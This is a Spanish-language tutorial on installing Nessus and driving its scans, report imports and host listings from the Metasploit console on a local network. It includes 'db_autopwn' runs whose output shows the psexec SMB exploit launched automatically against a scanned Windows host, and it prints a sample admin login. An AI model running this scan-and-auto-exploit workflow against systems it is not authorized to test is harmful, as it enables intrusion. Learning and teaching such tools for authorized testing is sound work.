NESSUS CON METASPLOIT FRAMEWORK
Nessus es una herramienta para identificación de vulnerabilidades en un objetivo determinado siguiendo la misma linea que NexPose.
Para usar desde nessus desde metasploit, es necesario seguir los siguientes pasos para realizar el proceso de instalación:
- Descargar el fichero de instalación de Nessus desde http://www.nessus.org/download/
- posteriormente instalarlo por medio del uso de dpkg
- ejecutar el comando /opt/nessus/bin/nessus-fetch –register <Activation Code> con el código de activación que puede ser obtenido en la pagina oficial de Nessus
- Posteriormente podemos crear el usuario admin de la siguiente manera:
/opt/nessus/sbin/nessus-adduser - finalmente es posible reiniciar nessus como si se tratara de un servicio estándar de GNU/Linux por medio del comando /etc/init.d/nessusd restart
Una vez instalado el software podemos realizar un escaneo de vulnerabilidades de una forma similar a como lo hacíamos anteriormente con NeXpose. En Nessus crearemos diferentes políticas donde definiremos las alternativas de escaneo de vulnerabilidades para que estas puedan ser reutilizadas nuevamente en el caso de que sea necesario. Para realizar las tareas anteriormente mencionadas contamos con la interface web de Nessus que se encuentra en ejecución en nuestra maquina en local en la ruta «https://localhost:8834/» en la consola administrativa contamos con 4 opciones básicas Reports, Scans, Policies, Users. Es muy intuitivo su uso, por lo tanto se hace imperativo que el aprendiz pueda dominar este tipo de herramientas de una forma autodidacta.
MSFConsole y Nessus:
Al igual que se ha explicado con NeXpose, MetaSploit permite la integración de Nessus y Msfconsole, así que realizamos el mismo proceso de conexión a la base de datos que tenemos instalada y asociada con metasploit, una vez conectados podemos cargar el plugin db_tracker
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
Ahora podemos cargar un fichero de reporte generado por Nessus y automáticamente generar algún tipo de ataque en base a los resultados encontrados.
Nota: Algunos comandos existentes como db_import_nessus_xml o db_import_nessus_nbe se encuentrán depreciados desde la versión 3.5 de metasploit en su lugar se debe utilizar el comando db_import para realizar cualquier tipo de carga de datos:
msf > db_import /home/adastra/Desktop/nessus_report_LOCAL_NETWORK.nessus
[*] Importing ‘Nessus XML (v2)’ data
[*] Importing host 192.168.1.33
[*] Importing host 192.168.1.1
[*] Successfully imported /home/adastra/Desktop/nessus_report_LOCAL_NETWORK.nessus
Posteriormente podemos ejecutar el comando
msf > db_autopwn -x -e -t -r
Usando Nessus Plugin con MSFConsole:
Podemos realizar todas las operaciones que realizamos por medio de la consola web de nessus por medio de la consola de metasploit, para hacer esto en primer lugar es necesario cargar el modulo correspondiente a nessus de la siguiente forma:
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[*] Creating Exploit Search Index – (/root/.msf3/nessus_index) – this wont take long.
[*]
[*] It has taken : 6.271469 seconds to build the exploits search index
[*] Successfully loaded plugin: nessus
Podemos ejecutar diferentes comandos del plugin de Nessus para realizar la conexión y escaneo de vulnerabilidades por medio de la consola msf.
Para realizar una conexión con el servidor Nessus:
msf > nessus_connect admin:peraspera@127.0.0.1 ok
[*] Connecting to https://127.0.0.1:8834/ as admin
[*] Authenticated
Para listar las políticas creadas en Nessus:
msf > nessus_policy_list
[+] Nessus Policy List
ID Name Comments
— —- ——–
1 POLICY
Para realizar un nuevo escaneo de vulnerabilidades:
msf > nessus_scan_new 1 ESCANEO_DESDE_MSF 192.168.1.34
[*] Creating scan from policy number 1, called «ESCANEO_DESDE_MSF» and scanning 192.168.1.34
[*] Scan started. uid is 5de6540a-5728-b33d-ef87-975b8766bb35e468753d0d89b8c0
Los parámetros indicados corresponden al ID de la política que se desea aplicar, el nombre del escaneo que se pretende realizar y la(s) direcciones IP de las maquinas que se quiere escanear.
Podemos ver en cualquier momento cual es el estatus de los escaneos que estamos llevando a cabo:
msf > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started Status Current Hosts Total Hosts
——- —- —– ——- —— ————- ———–
5de6540a-5728-b33d-ef87-975b8766bb35e468753d0d89b8c0 ESCANEO_DESDE_MSF admin 00:20 Feb 27 2011 running 0 1
[*] You can:
[+] Import Nessus report to database : nessus_report_get <reportid>
[+] Pause a nessus scan : nessus_scan_pause <scanid>
Una vez el escaneo termine, la ejecución del comando anterior retornara un mensaje indicando que no hay escaneos en ejecución, una vez el escaneo ha llegado a su fin, es posible recibir el reporte relacionado con las vulnerabilidades encontradas:
msf > nessus_report_list
[+] Nessus Report List
ID Name Status Date
— —- —— —-
ce11121e-c653-d22f-dcaf-d93fac0b87c0f0bcf6d98e5b4c48 SCAN completed 23:09 Feb 18 2011
5de6540a-5728-b33d-ef87-975b8766bb35e468753d0d89b8c0 ESCANEO_DESDE_MSF completed 00:22 Feb 27 2011
89deb6be-9e59-c04c-0e1f-d347f3d1a03aae4e6c5ca89d2ab1 LOCAL_NETWORK completed 23:41 Feb 26 2011
[*] You can:
[*] Get a list of hosts from the report: nessus_report_hosts <report id>
Ahora podemos realizar la importación del reporte a base de datos por medio del siguiente comando:
msf > nessus_report_get 5de6540a-5728-b33d-ef87-975b8766bb35e468753d0d89b8c0
[*] importing 5de6540a-5728-b33d-ef87-975b8766bb35e468753d0d89b8c0
[*] 192.168.1.34 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 Done!
[+] Done
Podemos realizar un listado de vulnerabilidades y host en nuestra base de datos con:
msf > db_hosts -c address,vulns
Hosts
=====
address vulns
——- —–
192.168.1.1 7
192.168.1.33 44
192.168.1.34 25
192.168.1.35 0
Como en casos anteriores nuevamente podemos ejecutar el comando de ejecución de exploits
msf > db_autopwn -r -e -x -t
[*] Analysis completed in 8 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 192.168.1.34:445 exploit/windows/smb/psexec (CVE-1999-0504, OSVDB-3106)
[*] ================================================================================
[*]
[*]
[*] (1/1 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.1.34:445…
[*] (1/1 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] (1/1 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] (1/1 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] (1/1 [0 sessions]): Waiting on 0 launched modules to finish execution…
Finalmente los comandos disponibles del plugin de Nessus en metasploit son los siguientes:
nessus_admin nessus_report_del nessus_scan_resume_all
nessus_connect nessus_report_exploits nessus_scan_status
nessus_db_scan nessus_report_get nessus_scan_stop
nessus_help nessus_report_host_detail nessus_scan_stop_all
nessus_index nessus_report_host_ports nessus_server_feed
nessus_logout nessus_report_hosts nessus_server_prefs
nessus_plugin_details nessus_report_list nessus_server_status
nessus_plugin_family nessus_save nessus_template_list
nessus_plugin_list nessus_scan_new nessus_user_add
nessus_plugin_prefs nessus_scan_pause nessus_user_del
nessus_policy_del nessus_scan_pause_all nessus_user_list
nessus_policy_list nessus_scan_resume nessus_user_passwd
Como puede apreciarse, todos los comandos corresponden a diferentes opciones disponibles en la interfaz web de Nessus.